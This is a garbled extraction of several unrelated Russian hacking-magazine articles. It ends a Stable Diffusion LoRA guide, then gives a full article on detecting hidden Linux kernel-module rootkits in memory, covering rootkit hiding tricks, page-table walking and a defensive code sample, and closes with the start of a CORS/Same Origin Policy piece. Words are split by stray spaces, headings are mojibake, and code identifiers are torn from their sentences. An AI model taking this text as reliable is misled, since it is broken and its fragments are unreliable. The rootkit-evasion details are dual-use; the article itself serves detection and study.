Для моделей семей ства Pony Diffusion нуж но исполь зовать спе циали зиро- 
ван ные лоры, так как эти модели лишь в нез начитель ной час ти вклю чают
в себя базовую модель SDXL. Таких лор на сай те Civitai впол не дос таточ но;
как пра вило, в них вклю чены кон крет ные сти ли и пер сонажи.

Мо дели LoRA отно ситель но ком пак тны и занима ют поряд ка 60–
150 Мбайт, что замет но мень ше стан дар тно го раз мера базовой модели (око- 
ло 6,5 Гбайт).

Для при мера рас смот рим все тот же зап рос: «cinematic, close view of a
redhead woman in 19th century clothing of a woman mechanic xing a steampunk
car», но добавим стиль: «in the style of esao andrews, esao andrews style, esao
andrews art, esao andrews».

Вот как выг лядит генера ция без лоры.

А теперь — с ней (лора — ).FF-Style-ESAO-Andrews-LoRA

Мно гие лоры прек расно работа ют в сочета нии со сти лями. Здесь я ском- 
биниро вал лору со сти лем Cinematic.

А тут — под клю чил стиль Midjourney.

ÁÎÍÓÑ: ÃÀËÅÐÅß ÌÎÄÅËÅÉ

Из спор тивно го инте реса я прог нал генера цию по тому же зап росу с одним
и тем же сидом на нес коль ких десят ках раз ных моделей. Чаще все го вари- 
анты ока зыва лись доволь но похожи ми, но некото рые модели выдали инте- 
рес ный резуль тат. Вот лишь нес коль ко при меров.

socafaeXL, sahastrakotiXL, SorcererXL-3, xi_v10

FenrisXL V16.4, NewdawnXL3.1 bf16, SoftFantasy Heavensfall, Better than
words v3.0

Artium v20, easelEssenceXL v10, weekendWarriorVaeXL v10, aderekSDXL
v15 DPO

Altar SDXLRealistic v10, fantasyAndRealityXL v10, LahMysteriousSDXL v40,
paintersCheckpointOilPaint v11

ÏÐÎÄÎËÆÅÍÈÅ ÑËÅÄÓÅÒ

Да, мы все еще обсужда ем прог рамму, которая и уста нав лива ется, и запус- 
кает ся коман дой , име ет одно поле вво да и кноп ку Generate, одна ко

эта тема еще не исчерпа на. В про дол жении я пла нирую рас ска зать о том,
на что вли яют парамет ры Guidance Scale (он же — CFG value) и Image
Sharpness (это не о кон турной рез кости).

run.bat

Да лее будет беседа о том, какие быва ют сем пле ры и чем они отли чают ся,
о моделях LCM, Turbo и Lightning, поз воля ющих в разы уско рить генера цию.

На конец, пос ле это го мож но будет перехо дить на сле дующий по слож ности
про дукт — . В общем, про дол жения сле дуют!Stable Diffusion WebUI Forge

https://docs.google.com/spreadsheets/d/10UXU59fBA5wZrcEEvgv1MTf1MSNTCB5PT4fNxsAst8E
https://github.com/lllyasviel/Fooocus/discussions/2082
https://civitai.com/models/213307/envy-zoom-slider-xl-01
https://civitai.com/models/183404/ff-style-esao-andrews-esao?modelVersionId=205851
https://github.com/lllyasviel/stable-diffusion-webui-forge
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ВЗЛОМ

Ког да-то, еще в начале пог ружения в тему
ядер ных рут китов в Linux, мне попалась
замет ка из Phrack об их обна руже нии
с реали заци ей для i386. Статья была
не новая, и речь в ней шла о ядре Linux
образца 2003 года. Что-то в этой замет ке
меня зацепи ло, хотя мно гое оста валось
непонят ным. Мне захоте лось воп лотить ту
идею анти рут кита, но уже на сов ремен ных
сис темах.

WWW

Код того, что получи лось в ито ге, дос тупен на 
.

мо- 
ем GitHub

ÏÀÐÀ ÑËÎÂ ÎÁ LKM-ÐÓÒÊÈÒÀÕ

С древ ней ших вре мен рут киты уров ня ядра для Linux (они же LKM-рут киты)
исполь зуют из все го мно жес тва механиз мов сок рытия всё один и тот же: уда- 
ление сво его дес крип тора модуля ( ) из связ ного спис ка заг- 
ружен ных модулей ядра . Это дей ствие скры вает их из вывода

в  ( ) и вывода коман ды , а так же защища ет

от выг рузки через . Ведь ядро теперь счи тает, что такой модуль не заг- 
ружен, вот и выг ружать нечего.

struct_module
modules

procfs /proc/modules lsmod
rmmod

Как скры вал ся Adore LKM 0.13 (1999–2000). Тог да спи сок модулей был
односвяз ным, а струк туры list в ядре еще не было

Как скры вает ся сей час Diamorphine

INFO

Об осно вах работы ядер ных рут китов в Linux
читай дру гую мою статью: «

». Здесь я не буду рас ска зывать базовые
вещи о них.

Как при ручить рут кит.
Пре дот вра щаем заг рузку вре донос ных модулей
в Linux

Не кото рые рут киты пос ле уда ления себя из спис ка модулей могут затирать
некото рые арте фак ты в памяти, что бы най ти их сле ды было слож нее. Нап- 
ример, начиная с вер сии , Linux уста нав лива ет зна чения ука зате лей

 и  связ ного спис ка в  и  (

и ) в струк туре при исклю чении ее из это го спис ка. Это полез но
для детек та оши бок, и этот же факт мож но исполь зовать для обна руже ния
«висящих» в памяти дес крип торов LKM-рут китов, отвя зан ных ранее от спис ка
модулей. Конеч но, дос таточ но умный рут кит переза пишет столь явно выделя- 
ющиеся в памяти зна чения на что-то менее замет ное, обой дя таким обра зом
про вер ку. Так дела ет, к при меру, появив ший ся в 2022 году .

2.5.71
next prev LIST_POISON1 LIST_POISON2 0x00100100
0x00200200

KoviD LKM
Но и пос ле уда ления из спис ка модулей рут киты все еще воз можно обна- 

ружить — на этот раз в , кон крет но в . Этот псев дофайл

был даже упо мянут в  — фрей мвор ка для ана лиза раз- 
нооб разных дам пов памяти. Иссле дова ние это го фай ла — тоже один
из вари антов обна руже ния неак курат ных рут китов. И хотя в той докумен тации
заяв лено, что раз работ чикам не встре чал ся рут кит, который бы уда лял себя
из обо их мест, уже извес тный нам KoviD LKM и тут пре успел. Что еще забав- 
нее:  тоже уда лял себя не толь ко
лишь из спис ка модулей.

sysfs /sys/modules
до кумен тации Volatility

пер вый заком мичен ный вари ант Diamorphine

Как скры вал ся Diamorphine образца нояб ря 2013-го

KoviD же исполь зует , а свой ста тус уста нав лива ет

при этом в . Эта кон стан та исполь зует ся для обоз- 
начения «под вешен ного» сос тояния, ког да модуль еще находит ся в про цес се
ини циали зации и заг рузки ядром, а зна чит, выг ружать его ну никак нель зя
без неиз вес тных необ ратимых пос ледс твий для ядра. Такой финт помога ет
обхитрить анти рут киты, исполь зующие  в ходе перебо ра

содер жимого вир туаль ной памяти, как, нап ример, дела ет  (о чем
погово рим чуть ниже).

sysfs_remove_file()
MODULE_STATE_UNFORMED

__module_address()
rkspotter

ÏÎÄÕÎÄÛ Ê ÏÎÈÑÊÓ ÄÅÑÊÐÈÏÒÎÐÎÂ LKM-ÐÓÒÊÈÒÎÂ
Â ÎÏÅÐÀÒÈÂÍÎÉ ÏÀÌßÒÈ

В этой статье мы обсужда ем спо собы поис ка рут китов в опе ратив ной памяти
живой сис темы и в вир туаль ном адресном прос транс тве ядра. В теории такой
поиск может осу щест влять не толь ко модуль ядра, но и гипер визор (что вооб- 
ще-то пра виль нее с точ ки зре ния колец защиты). Но мы рас смот рим толь ко
пер вый вари ант, как более прос той для реали зации PoC и наибо лее близ кий
к ори гина лу. Так же я не зат рагиваю детект вре доно сов в памяти по хешам,
но ста раюсь рас смот реть что-то при мени мое кон крет но к LKM-рут китам, а не
к мал вари в целом. В основном это про иссле дова тель ские PoC.

Îá èñõîäíîì module_hunter
В 2003 году во Phrack #61 в руб рике Linenoise была опуб ликова на замет ка
авто ра madsys о спо собе поис ка LKM-рут китов в памяти: 

. То были вре мена ядер 2.2–2.4 и 32-бит ных машин;
сей час же на горизон те Linux 6.8, а най ти желез ку x86-32 весь ма и весь ма
неп росто (да и незачем, кро ме как на опы ты).

Finding hidden kernel
modules (the extrem way)

В общем, это было дав но, и внут ри ядра за 20 лет было уда лено либо
появи лось очень мно гое. Кро ме того, ядро сла вит ся нес табиль ным внут- 
ренним API, и ори гиналь ный сорец из Phrack ожи даемо отка жет ся собирать ся
по мно жес тву при чин. Но если разоб рать ся в самой сути пред ложен ной идеи,
ее таки мож но успешно воп лотить в нынеш них реалиях.

В той замет ке мно гое было вынесе но за скоб ки, и без дол жной под готов ки
автор ская логика решения понят на далеко не сра зу. В целом пред лага емый
там метод чем-то похож на блуж дание в потем ках содер жимого опе ратив ки
на ощупь: прой тись по реги ону памяти, в котором алло циру ются дес крип торы
модулей, и, как толь ко обна ружи вает ся неч то, име ющее сходс тво с валид ным

, вывес ти содер жимое из потен циаль ных полей сог ласно

извес тной струк туре дес крип тора.

struct module

Нап ример, извес тно, что по какому-то сме щению дол жен быть ука затель
на init-фун кцию, а по дру гим — раз меры раз личных сек ций заг ружен ного
модуля, код его текуще го ста туса и тому подоб ное. Это зна чит, что диапа зон
нуж ных нам зна чений памяти по таким сме щени ям огра ничен, и мож но при- 
кинуть, нас коль ко текущий адрес похож на начало . То есть

мож но вырабо тать про вер ки, что бы не выводить откро вен ный мусор
из памяти и детек тить нуж ное по мак симуму.

struct module

Ко неч но, как ты понима ешь, за про шед шее с момен та написа ния той
статьи вре мя изме нились не толь ко внут ренние фун кции ядра, но и куча
струк тур. В пер воначаль ной реали зации madsys про веря лось толь ко, что бы
поле с име нем модуля содер жало нор маль ный текст. В слу чае x86-64 мы
не можем себе это го поз волить: вир туаль ное адресное прос транс тво силь но
боль ше, так как боль ше ста ло раз личных воз можных струк тур, и в ито ге
такому скром ному усло вию удов летво рит огромная куча дан ных в памяти.

Дру гая проб лема, которая реша ется в , — про вер ка того

фак та, что текущий иссле дуемый вир туаль ный адрес име ет отоб ражение
в физичес кой памяти. Это зна чит, что, обра щаясь по это му адре су, модуль
не сва лит ся в панику, таща за собой всю сис тему. Про вер ку тоже при дет ся
перера ботать, пос коль ку она при вяза на к архи тек туре.

module_hunter

rkspotter è ïðîáëåìà ñ __module_address()
Нуж ны были спо собы прой тись по памяти так, что бы не уро нить сис тему. И тут
мне попал ся уже зна комый нам rkspotter. Он обна ружи вает при мене ние нес- 
коль ких тех ник сок рытия, которые в ходу у LKM-рут китов. Это поз воля ет ему
пре успеть в сво их задачах даже в том слу чае, ког да один из методов не отра- 
баты вает. Проб лема, одна ко, в том, что этот анти рут кит полага ется на фун- 
кцию , которую в 2020-м уби рали из чис ла экспор тиру- 

емых, и с вер сии Linux 5.4.118 она .

__module_address()
не дос тупна для модулей

rkspotter в dmesg руга ется на реп тилию (Ubuntu 18.10)

Идея rkspotter в том, что бы прой тись по реги ону памяти под наз вани ем
 (где ока зыва ются LKM пос ле заг рузки) и с помощью

этой самой фун кции про верять, какому модулю при над лежит оче ред ной
адрес. Для задан ного адре са  воз вра щает сра зу ука- 

затель на дес крип тор соот ветс тву юще го модуля, что поз воляло удоб но
по одно му-единс твен ному адре су получить информа цию о LKM. Вся гряз ная
работа по про вер ке валид ности тран сля ции вир туаль ного адре са выпол- 
нялась под капотом.

module mapping space

__module_address()

Ко неч но, мож но было бы прос то попытать ся ско пипас тить
, но мой спор тивный инте рес был в том, что бы перевоп- 

лотить изна чаль ную идею madsys. Какие еще есть  инте рес- 
ные задачи на пути к новой реали зации?

__module_address()
под водные кам ни

×òî íóæíî ôèêñèòü
Что бы написать новую рабочую тул зу, нуж но изу чить все, что менялось в ядре
за пос ледние 20 лет и свя зано с «висящи ми» дес крип торами LKM. Точ нее,
при дет ся испра вить все ошиб ки ком пиляции, с которы ми мы стол кнем ся
по ходу дела.

То есть задачи при мер но такие:
по фик сить вызовы изме нив шихся ядер ных API. Код ори гина ла на самом
деле очень мал, и единс твен ный исполь зуемый ядер ный API каса ется

, так что этот пункт не пот ребу ет мно го вре мени;

•

procfs

вы делить поля , наибо лее под ходящие для детек та отвя- 
зан ной от обще го спис ка модулей струк туры;

• struct module

изу чить и учесть изме нения управле ния памятью на x86-64 в срав нении
с i386;

•

а так же учесть, что на 64-бит ной архи тек туре совер шенно ина че рас пре- 
деле но вир туаль ное адресное прос транс тво, и оно несо изме римо боль- 
ше: 128 Тбайт на ядер ную часть и столь ко же на юзер спейс — в про тиво- 
вес 1 Гбайт и 3 Гбайт соот ветс твен но на 32-бит ной архи тек туре по умол- 
чанию.

•

Что ж, пора перехо дить к самому инте рес ному!

Продолжение статьи →

mailto:kclo3@icloud.com
https://github.com/ksen-lin/nitara2
https://elixir.bootlin.com/linux/v6.7/source/kernel/module/internal.h#L48
https://xakep.ru/2019/10/09/linux-core-rootkit
https://lwn.net/Articles/36311/
https://github.com/carloslack/KoviD
https://github.com/volatilityfoundation/volatility/wiki/Linux-Command-Reference#linux_check_modules
https://github.com/m0nad/Diamorphine/blob/cd119aeffd4d72037ab57d4c8e1afaf24953409b/diamorphine.c#L208-L215
https://elixir.bootlin.com/linux/v6.6.6/A/ident/sysfs_remove_file
https://github.com/linuxthor/rkspotter
http://phrack.org/issues/61/3.html#article
https://cdn.kernel.org/pub/linux/kernel/v5.x/ChangeLog-5.4.118


ПО ЗАВЕТАМ PHRACK
ИЩЕМ LKM-РУТКИТЫ

В ОПЕРАТИВКЕ И ИЗУЧАЕМ
УСТРОЙСТВО ПАМЯТИ ×64

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÐÅÈÍÊÀÐÍÀÖÈß MODULE_HUNTER

Ïî ïîëÿì, ïî ïîëÿì...
При работе с x64 прос той про вер ки на валид ность име ни модуля недос таточ- 
но. Экспе римен ты показа ли, что без допол нитель ных про верок выводит ся
слиш ком мно го лиш него. Лож нополо житель ные резуль таты — не кру то. Пос ле
изу чения типич ного содер жимого раз личных полей мож но поп робовать оста- 
новить ся на сле дующих про вер ках:

па мять соот ветс тву ет полю  и име ет одно из валид ных для это го
поля зна чений: , ,

, ;

• state

MODULE_STATE_LIVE MODULE_STATE_COMING

MODULE_STATE_GOING MODULE_STATE_UNFORMED

зна чения в полях  и  ука зыва ют в  (на
x86-64) либо рав ны ;

• init exit module mapping space

NULL

хо тя бы одно из полей , ,  и  не рав но
;

• init exit list.next list.prev

NULL

 и  явля ются канони чес кими:  либо
/  (но это не точ но, и мож но будет опус тить

впос ледс твии);

• list.next list.prev NULL

LIST_POISON1 LIST_POISON2

раз мер модуля (  для вер сии менее 6.4) ненуле вой
и кра тен .

• core_layout.size

PAGE_SIZE

Важ но понимать, что этот спи сок не высечен в кам не и его мож но допол нять
и исправ лять в будущем при появ лении более изощ ренных рут китов либо
для сис тем, где его по каким-то при чинам будет недос таточ но.

При мер лож нополо житель ных сра баты ваний анти рут кита на мусор
в памяти в про цес се поис ка нуж ного сочета ния про верок выг лядит при мер но
так:

 
 
 
[ 5944.082676] nitara2: address module 
 

 
 
[ 5944.085392] nitara2: 0xffffffffc011c300 "serio_raw" 
 
 
[ 5944.085435] nitara2: 0xffffffffc0120ff0 "{" 
 
 
[ 5944.085512] nitara2: 0xffffffffc0129680 "i2c_piix4" 
 

 
 
[ 5944.087444] nitara2: 0xffffffffc01fd040 "fb_sys_fops" 
 
 
[ 5944.089131] nitara2: 0xffffffffc02affb0 "`", 
 
 
[ 5944.089342] nitara2: 0xffffffffc02c30c0 "cfg80211"
 
 
[ 5944.091874] nitara2: 0xffffffffc03cb700 "kvm" 
 

 
 
[ 5944.094188] nitara2: 0xffffffffc04be0c0 "nitara2" 
 
 
[ 5944.670378] nitara2: end check (total gone 66060288 steps)
 
 

 . . .

. . .

...

Âèðòóàëüíàÿ ïàìÿòü x86
Пос ле того как мы опре дели лись с нуж ными для детек та отвя зан ной струк- 
туры полями, пора понять, в какой час ти вир туаль ного адресно го прос транс- 
тва ядра вооб ще искать.

Из началь ный  ходил по области , где рань ше
выделя лась память под модули и их дес крип торы. Ее раз мер на x86-32 сос- 
тавлял все го 128 Мбайт, и это силь но сни жало чис ло адре сов (и вре мя)
для перебо ра в срав нении с пол ным адресным прос транс твом в 4 Гбайт
(даже если взять чис то ядер ную его часть в 1–2 Гбайт).

module_hunter vmalloc

В  для модулей ядра отве дена отдель- 
ная область вир туаль ной памяти раз мером 1520 Мбайт (оди нако вая для 48-
и 57-бит ных адре сов), которую мы уже упо мина ли, — 

. Ее вир туаль ные адре са огра ниче ны мак росами 

и . Пос ле оче ред ных экспе римен тов выяс нилось, что в этой

области ока зыва ются и дес крип торы модулей, и сам их код с дан ными.
Замеча тель но! Переби рать огромное вир туаль ное адресное прос транс тво
объ емом в терабай ты не при дет ся.

ад ресном прос транс тве на x86-64

module mapping 
space MODULES_VADDR
MODULES_END

Îòîáðàæåíèå ñòðàíèö ïàìÿòè è óðîâíè òðàíñëÿöèè
Вот мы подош ли к кам ню прет кно вения, который в пер вую оче редь не давал
мне с ходу понять, как идею хож дения по ядер ной памяти зас тавить зарабо- 
тать на сов ремен ных машинах.

WWW

Ес ли такие сло восо чета ния, как «мно гоуров невые
таб лицы стра ниц» или paging levels, для тебя
ничего не зна чат, но у тебя есть неверо ятное
желание углу бить ся в понима ние архи тек турных
штук, можешь заг лянуть, нап ример, в 
или  по саб жу. Задание
со звез дочкой — изу чить реали зации для раз ных
типов про цес соров.

OSDev
до кумен тацию Linux

Сей час перед нами та же проб лема, о которой писал в свое вре мя madsys:

«
»

Íà ýòîì ýòà ïå òû, âîç ìîæíî, äóìà åøü: «òàê âåäü î÷åíü ïðîñ òî âçÿòü
è ïðîá ðóòèòü ñïè ñîê âðå äîíîñ íûõ ìîäóëåé». Íî ýòî íå òàê ïî îäíîé
âàæ íîé ïðè ÷èíå: àäðåñ, ê êîòîðî ìó ìû ïûòà åìñÿ îáðà òèòü ñÿ, ìîæåò
íå èìåòü îòîá ðàæåíèÿ â ôèçè÷åñ êîé ïàìÿòè, ÷òî ïðè âåäåò ê îøèá êå
ñòðà íèöû (page fault), è ÿäðî îòðà ïîð òóåò: «Unable to handle kernel
paging request at virtual address».

Эту задачу мож но было бы решить, не вда ваясь в под робнос ти магии тран- 
сля ции вир туаль ных адре сов в физичес кие, с помощью ,

как это дела ет rkspotter. Но мы уже зна ем, что не можем исполь зовать эту
фун кцию: она не поз волит  реали зовать решение на све жай ших

ядрах, да и не осо бо соот ветс тву ет изна чаль ной задаче. К тому же наш код
будет более самодос таточ ным и с чуть мень шей веро ятностью сло мает ся
на сле дующих ядрах.

__module_address()

êðà ñèâî

В общем, есть смысл про верять дос тупность стра ницы памяти самос- 
тоятель но. Для это го нуж но разоб рать ся с тем, как про исхо дит про вер ка, ког- 
да сам про цес сор обра щает ся по вир туаль ному адре су, и как устро ены учас- 
тву ющие в этом про цес се струк туры.

На деле дан ные, к которым обра щает ся прог рамма, дол жны физичес ки
где-то находить ся. А при обра щении по вир туаль ному адре су этот адрес дол- 
жен пре обра зовать ся в физичес кий адрес в опе ратив ной памяти, что бы обо- 
рудо вание поняло, какие дан ные читать. Сей час на тво ей машине зап росто
может работать нес коль ко прог рамм, в которых код начина ется где-то в рай- 
оне , но в физичес кой памяти это будут совер шенно раз ные дан ные

по раз ным физичес ким адре сам.

0x400000

Это все за кулиса ми раз рулива ет MMU (memory management unit, модуль
управле ния памятью). При меча тель но, что его, в прин ципе, может и не быть
(нап ример, во встра иваемых сис темах, где он и не нужен), как ког да-то и не
было. С ним же появ ляет ся воз можность реали зовать вир туаль ные адресные
прос транс тва, то есть защиту памяти одних прог рамм от дру гих — на устрой- 
стве. Без это го доб ра мож но было лег ко из при ложе ния поль зовате ля
перепи сать исполня емую память опе раци онной сис темы и либо краш нуть
всё, либо делать дру гие инте рес ные вещи. Ска жем, абсо лют но без наказан но
перех ватывать сис темные вызовы или пре рыва ния.

Ког да в сис теме есть MMU, каж дая поль зователь ская прог рамма счи тает,
что все адресное прос транс тво при над лежит толь ко ей, она не зат рет ничью
память и ник то не зат рет ее. В этом, в общем-то, и зак люча ется суть вир- 
туаль ного адресно го прос транс тва про цес са. Для раз ных плат форм оно
делит ся в раз ных соот ношени ях меж ду поль зователь ским при ложе нием
и ядром. Ядер ная часть при этом во всех про цес сах отоб ража ется в одни и те
же стра ницы физичес кой памяти, пос коль ку ядро в сис теме одно. Это же
каса ется раз деля емых биб лиотек, ведь незачем пло дить экзем пля ры одно го
и того же в конеч ной физичес кой памяти.

INFO

Нап ример, вер хний валид ный юзер спей сный
адрес для x86-64 при четыре хуров невых таб- 
лицах тран сля ции — ,
а началь ный ядер ный — .
Меж ду ними лежит огромный про межу ток
(16 мил лионов терабайт), адре са которо го име- 
нуют ся некано ничес кими, то есть они невалид ны
для опре делен ной кон фигура ции обо рудо вания,
хотя в теории и мог ли бы исполь зовать ся. Неис- 
поль зуемые биты в вир туаль ных адре сах —
как раз то, что поз волило внед рить такую шту ку,
как  (Linear Address
Masking, ).

0x00007fffffffffff
0xffff800000000000

Pointer Authentication Code
PDF

Îá óðîâíÿõ òðàíñëÿöèè (paging levels)
Нач нем с более прос той темы и спер ва рас смот рим, как тран сли рует ся 32-
бит ный адрес при дву хуров невом пей джин ге, который дает при выч- 
ные 4 Гбайт на одно вир туаль ное адресное прос транс тво. Адрес делит ся
на три час ти, которые пред став ляют индекс в таб лице Page Directory (каталог
стра ниц), индекс в таб лице стра ниц Page Table и сме щение внут ри самой
стра ницы.

 адрес иско мой стра ницы будет получен толь ко на пос- 
леднем эта пе хож дения по таб лицам. Так же, как видишь на схе ме ниже, нес- 
коль ким записям в таб лицах стра ниц ( , PTE) могут соот ветс- 
тво вать оди нако вые стра ницы в опе ратив ной памяти. Это, нап ример, 

 для выделе ния чис тень ких занулен ных стра ниц в про цесс (смот ри
).

Ôè çè÷åñ êèé

Page Table Entry
ис поль- 

зует ся
ZERO_PAGE

Схе ма тран сля ции 32-бит ного вир туаль ного адре са

Не кото рые стра ницы вир туаль ного адресно го прос транс тва могут и вов се
не иметь физичес кого отоб ражения, то есть таким PTE не соот ветс тву ет
никакая физичес кая стра ница. Это те самые области памяти, при обра щении
к которым про изой дет segmentation fault. В дру гих слу чаях мап пинг может
быть, но на текущий момент отсутс тво вать в физичес кой памяти (нап ример,
ока жет ся выг ружен на диск при нех ватке памяти).

INFO

 и нулевая стра ница (та, что занима ет вир- 
туаль ные адре са ) может
ока зать ся валид ной. Это при водит к тому, что
нулевой ука затель трак тует ся как самый обык- 
новен ный, с воз можностью разыме нова ния
без каких-либо сег фолтов и паник.  эта
осо бен ность 
ядер ной уяз вимос ти.

Иног да
0...PAGE_SIZE-1

Ког да-то
пос пособс тво вала экс плу ата ции

За писи в таб лицах (то есть PTE/PDE) содер жат раз ную информа цию о стра- 
нич ке: при сутс тву ет ли она сей час в памяти, каковы пра ва дос тупа к ней, при- 
над лежит ли она прос транс тву поль зовате ля или ядру и про чее. Опре деле ния
раз ных битов мож но най ти в , но не забывай, что от архи тек- 
туры к архи тек туре они будут раз личать ся.

ис ходни ках ядра

Ó÷èìñÿ ïðèõîäèòü ïî àäðåñó è íå ïàäàòü
В  за про вер ку сущес тво вания мап пинга отве чал сле дующий

кусок кода:

module_hunter

   int valid_addr(unsigned long address)
{
     unsigned long page;

    if (!address)
        return 0;

           page = ((unsigned long *)0xc0101000)[address >> 22]; // pde
       if (page & 1) {

         page &= PAGE_MASK;
         address &= 0x003ff000;

               page = ((unsigned long *) __va(page))[address >> PAGE_SHIFT];
// pte

        if (page)
            return 1;

   }

    return 0;
}

Для челове ка, не име юще го пред став ления о работе памяти на i386, кон стан- 
ты вро де  и  толь ко уси лива ют ощу щение какой-то

тем ной магии. Пер вое чис ло под дает ся гуг лению, но без понима ния самой
сути про цес са луч ше не ста новит ся.

0xc0101000 0x003ff000

Гля дя на схе му выше, ты можешь догадать ся, что анти рут кит по адре су
 ожи дает уви деть стра нич ный каталог, то есть таб лицу с PDE —

Page Directory Entry (  до появ ления ран домиза ции адре- 
сов в ядре ). Далее прог рамма обра щает ся по индексу,
который получит ся пос ле битово го сдви га целево го вир туаль ного адре са.
Так же на схе ме сни зу ты уви дишь, что стар шая часть адре са (биты 22–
31) — это индекс в катало ге стра ниц.

0xc0101000
KASLR для сла баков!

бы ло еще десять лет

Ес ли получен ная запись PDE ненуле вая, то она, в свою оче редь, ука зыва ет
на таб лицу стра ниц. Точ нее, в  про веря ется бит при сутс твия

стра ницы ( ).

if (page & 1)
PAGE_PRESENT

За индекс в таб лице стра ниц берут ся уже биты 12–21 иско мого адре са,
что вычис ляет ся в коде выше при помощи побито вого И с .

При обра щении по это му индексу мож но получить соот ветс тву ющую запись
PTE либо ноль, если этот вир туаль ный адрес в кон тек сте нашего про цес са
не отоб ража ется ни в какой физичес кий.

0x003ff000

Для под дер жки бльших адресных прос транств может пот ребовать ся
боль ше уров ней тран сля ции. Инте ресу ющиеся могут най ти схе му работы
с адре сом при трех уров нях в . В зависи мос ти от обо рудо- 
вания будет задей ство вано нес коль ко Page Directory вмес то одной из при- 
мера выше. Соот ветс твен но, нуж но будет обой ти боль ше таб лиц, преж де чем
получит ся доб рать ся до иско мой физичес кой стра нич ки. Тран сля ция будет
про исхо дить, нап ример, в таком поряд ке (в тер миноло гии Linux):

до кумен тации ядра

Page global directory (PGD);•
P4D — если пей джинг пяти уров невый;•
Page upper directory (PUD);•
Page middle directory (PMD);•
Page table.•

, даже если ядро соб рано с под дер жкой пяти уров- 
невых таб лиц, оно все еще будет работать на обо рудо вании с четырь мя уров- 
нями тран сля ции, прос то в этом слу чае уро вень P4D будет «вырож ден» в ран- 
тай ме.

Сог ласно докумен тации

Нуж но так же пом нить, что каж дый сле дующий уро вень тран сля ции
при обра щении к нему нуж но про верять на при сутс твие в памяти. Это мож но
сде лать с помощью сле дующих мак росов:

pgd_present()•
p4d_present()•
pud_present()•
pmd_present()•
pte_present()•

Они про веря ют, уста нов лен ли бит при сутс твия стра ницы и, в зависи мос ти
от текуще го уров ня, некото рые дру гие биты тоже. А пол ную про вер ку на каж- 
дом из уров ней мож но сде лать при мер но по такой схе ме:

    struct mm_struct *mm = current->mm;

   pgd = pgd_offset(mm, addr);
      if (!pgd || pgd_none(*pgd) || !pgd_present(*pgd) )

    return false;

   p4d = p4d_offset(pgd, addr);
   . . .

Что-то очень похожее мож но отыс кать и в коде ядра:
в , которая была убра на око ло года назад;• kern_addr_valid()

в , , ...• dump_pagetable() spurious_kernel_fault() mm_find_pmd()

Что каса ется раз лично го количес тва уров ней тран сля ции, то исполь зуемое
текущим ядром зна чение мож но най ти в опции .

Под дер жка пяти уров невого пей джин га в ядре появи лась в 2017 году в вер- 
сиях 4.11–4.12 (смот ри  и ).

CONFIG_PGTABLE_LEVELS

ком мит статью на LWN

Proof-of-Concept
Да вай на нес коль ких сис темах про верим, что получи лось. Если интерфейс
вза имо дей ствия с PoC тебе кажет ся стран ным, то не удив ляй ся — он такой
и есть. Таков он был в ори гина ле, так что не суди стро го.

Как и ожи далось, в выводе  не обна ружи вает ся ничего подоз ритель- 
ного, одна ко наша ста ро-новомод ная раз работ ка выяв ляет, что враг
не дрем лет.

lsmod

Diamorphine и nitara2 на Ubuntu 16.04. На этом ядре еще не было пяти -
уров невого пей джин га

Diamorphine и nitara2 на Ubuntu 22.04

KoviD LMK и nitara2 на Ubuntu 22.10

Diamorphine, nitara2 и Reptile на Linux 6.5

OUTRO: Î ÏÎÐÒÈÐÓÅÌÎÑÒÈ

Ес ли взять текущий код, убрать про вер ку на  и ском пилиро- 
вать его, нап ример, на Raspberry Pi с Linux 6.1, то он соберет ся и даже запус- 
тится. Но ничего не най дет, что и неуди витель но: пол ноцен но зарабо тать
на дру гих архи тек турах ему помеша ют раз личия в орга низа ции их вир туаль- 
ных адресных прос транств. В  дру гой не толь ко лей аут памяти
(нап ример, область для модулей ядра занима ет 2 Гбайт вмес то 1520 Мбайт),
но и воз можное чис ло уров ней пей джин га. Оно варь иру ется от двух
до четырех в зависи мос ти от раз мера стра ницы и чис ла исполь зуемых битов
адре са. Соот ветс твен но, это меня ет и области некано ничес ких адре сов,
на что в анти рут ките есть про вер ки.

CONFIG_X86_64

слу чае AArch64

Что каса ется сов мести мос ти с раз личны ми вер сиями ядра, код успешно
отра ботал на нес коль ких ядрах (4.4, 5.14, 5.15 и 6.5 на x86-64). Это, конеч но,
не зна чит, что он не упа дет на каких-нибудь про межу точ ных вер сиях или ког- 
да-нибудь в будущем. Если вдруг стол кнешь ся с чем-то подоб ным, не стес- 
няй ся сооб щить мне через .GitHub

https://www.kernel.org/doc/Documentation/x86/x86_64/mm.txt
https://wiki.osdev.org/Paging
https://www.kernel.org/doc/html/v6.6/mm/page_tables.html
https://docs.kernel.org/next/arch/arm64/pointer-authentication.html
https://lpc.events/event/11/contributions/1010/attachments/875/1679/LAM-LPC-2021.pdf
https://wiki.osdev.org/Paging#Page_Table
https://www.kernel.org/doc/gorman/html/understand/understand007.html
https://elixir.bootlin.com/linux/latest/source/arch/x86/include/asm/pgtable.h#L52
https://elixir.bootlin.com/linux/v6.7/source/fs/binfmt_elf.c#L1273
https://lwn.net/Articles/342330/
https://lwn.net/Articles/341773/
https://elixir.bootlin.com/linux/v6.7/source/arch/x86/include/asm/pgtable_types.h
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=8ab3820fd5b2896d66da7bb2a906bc382e63e7bc
https://www.kernel.org/doc/gorman/html/understand/understand006.html
https://www.kernel.org/doc/html/v5.9/x86/x86_64/5level-paging.html#enabling-5-level-paging
https://github.com/torvalds/linux/commit/b8504058a06bd19286c8b59539eebfda69d1ecb5
https://lwn.net/Articles/716324/
https://www.kernel.org/doc/html/v6.5/arch/arm64/memory.html
https://github.com/ksen-lin/nitara2
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ВЗЛОМ

В этой статье мы рас ска жем, как работа ет тех нология SOP,
которая защища ет твой бра узер от вре донос ных скрип тов.
Рас смот рим основные виды мис конфи гов и сос тавим шпар- 
галки с раз ными слу чаями поведе ния CORS. В кон це раз- 
берем при мер и про верим работос пособ ность PoC.

SAME ORIGIN POLICY

 — это полити ка безопас ности бра узе ра, кон тро- 

лиру ющая вза имо дей ствие меж ду сай тами. Она нуж на для пре дот вра щения
кра жи дан ных поль зовате ля вре донос ным скрип том.

SOP (Same Origin Policy)

До внед рения SOP дан ные кра ли так:
1. Ата кующий зас тавля ет жер тву перей ти на вре донос ный сайт с уже под- 

готов ленным экс пло итом на JavaScript.
2. Жер тва переш ла по ссыл ке, и от ее име ни отправ ляет ся зап рос на сайт,

содер жащий ее важ ные дан ные.
3. От вет от сай та чита ется скрип том и переда ется на сер вер зло умыш ленни- 

ка.
